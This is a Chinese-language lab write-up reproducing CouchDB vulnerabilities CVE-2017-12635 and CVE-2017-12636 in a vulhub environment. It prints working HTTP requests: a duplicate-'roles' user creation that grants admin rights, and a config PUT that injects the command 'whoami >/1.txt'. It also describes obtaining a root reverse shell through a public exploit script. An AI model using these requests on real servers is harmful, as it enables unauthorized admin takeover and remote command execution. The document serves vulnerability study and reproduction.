如何分析Couchdb漏洞CVE-2017-12635和CVE-2017-12636
本篇文章为大家展示了如何分析Couchdb漏洞CVE-2017-12635和CVE-2017-12636,内容简明扼要并且容易理解,绝对能使你眼前一亮,通过这篇文章的详细介绍希望你能有所收获。
CouchDB是一个开源的面向文档的数据库管理系统,可以通过RESTful JavaScript Object Notation(JSON)API访问。Apache CouchDB是专注于易用性和成为"完全拥抱web的数据库"。它是一个使用JSON作为存储格式,JavaScript作为查询语言,MapReduce和HTTP作为API的NoSQL数据库。
漏洞影响版本:小于 1.7.0 以及 小于 2.1.1
一、漏洞原理
CVE-2017-12635:Erlang和JavaScript,对JSON解析方式的不同,导致语句执行产生差异性。这个漏洞可以让任意用户创建管理员,属于垂直权限绕过漏洞。
举例:Erlang:> jiffy:decode("{"a":"1", "a":"2"}").{[{<<"a">>,<<"1">>},{<<"a">>,<<"2">>}]}
JavaScript> JSON.parse("{"a":"1", "a": "2"}"){a: "2"}
Ps:在定义一对键值对时,Eralang解析器将存储两个值;javascript只存储第二个值。但jiffy实现时,getter函数只返回第一个值。
CVE-2017-12636:由于数据库自身设计原因,管理员身份可以通过HTTP(S)方式,配置数据库。在某些配置中,可设置可执行文件的路径,在数据库运行范围内执行。
CVE-2017-12635结合CVE-2017-12636可实现远程代码执行
二、准备环境
攻击机(kali):192.168.29.130
被攻击机(Ubuntu):192.168.29.141(使用vulhub搭建镜像环境)
备用机:真实机(含python3环境)
测试环境地址:https://vulhub.org/#/environments/couchdb/CVE-2017-12635/
三、环境搭建
1.下载vulhub的漏洞环境,进入对应的目录下面,使用命令sudo docker-compose buildsudo docker-compose up -d搭建镜像环境
2. 查看Ubuntu服务器(被攻击机)的IP地址(192.168.29.141)
3. 访问搭建完成以后的couchdb(该环境为2.1.0版本)http://192.168.29.141:5984/_utils/#login
四、漏洞复现
1.抓取数据包发送到重放模块,利用CVE-2017-12635漏洞创建一个管理员用户,用户名为xx,密码为:xx。Ps: 发送包含两个roles的数据包,即可绕过限制。Erlang和JavaScript,对JSON解析方式的不同,所以这样可以使当前用户赋予"_admin"身份
PUT /_users/org.couchdb.user:xx HTTP/1.1Host: 192.168.29.141:5984User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Connection: closeUpgrade-Insecure-Requests: 1If-Modified-Since: Sat, 02 Dec 2017 15:49:03 GMTCache-Control: max-age=0Content-Length: 100{"type": "user","name": "xx","roles": ["_admin"],"roles": [],"password": "xx"}
2.使用刚刚注册的账户:xx,密码:xx;登陆到后端系统
3.利用CVE-2017-12636漏洞必须登录到管理员用户才能进行操作,所以说需要结合CVE-2017-12635漏洞进行利用。其中测试环境带有poc:https://github.com/vulhub/vulhub/blob/master/couchdb/CVE-2017-12636/exp.py,下载poc修改目标IP以及couchdb版本信息即可实现攻击操作 4.kali攻击机开启监听443端口
5.利用第3步下载的poc文件(备用机的python3环境,也可以使用kali的python3环境)
6.会在kali攻击机上面建立会话连接,并且是root权限
7. Couchdb 2.x 引入了集群,所以修改配置的API需要增加node name。这个其实也简单,我们带上账号密码访问/_membership即可:(也可在登陆状态下访问该链接)
GET /_membership HTTP/1.1Host: 192.168.29.141:5984User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Connection: closeCookie: AuthSession=eHg6NUVGMEI4RDE6g1lmNPR5o8RIBREQUmfFXqZClJ4Upgrade-Insecure-Requests: 1If-Modified-Since: Sat, 02 Dec 2017 15:49:03 GMTCache-Control: max-age=0
8.可见,我们这里只有一个node,名字是nonode@nohost。然后,我们修改nonode@nohost的配置即可实现对服务器端写入文件:
PUT /_node/nonode@nohost/_config/query_servers/cmd HTTP/1.1Host: 192.168.29.141:5984User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Connection: closeCookie: AuthSession=eHg6NUVGMTlDRjk6DPmoeDMHF5ZuRX_Py20A1EL4JvcUpgrade-Insecure-Requests: 1If-Modified-Since: Sat, 02 Dec 2017 15:49:03 GMTCache-Control: max-age=0Content-Length: 16"whoami >/1.txt"
9.根据第6步的时候建立的监听的信息,此时可查看创建的文件信息
上述内容就是如何分析Couchdb漏洞CVE-2017-12635和CVE-2017-12636,你们学到知识或技能了吗?如果还想学到更多技能或者丰富自己的知识储备,欢迎关注行业资讯频道。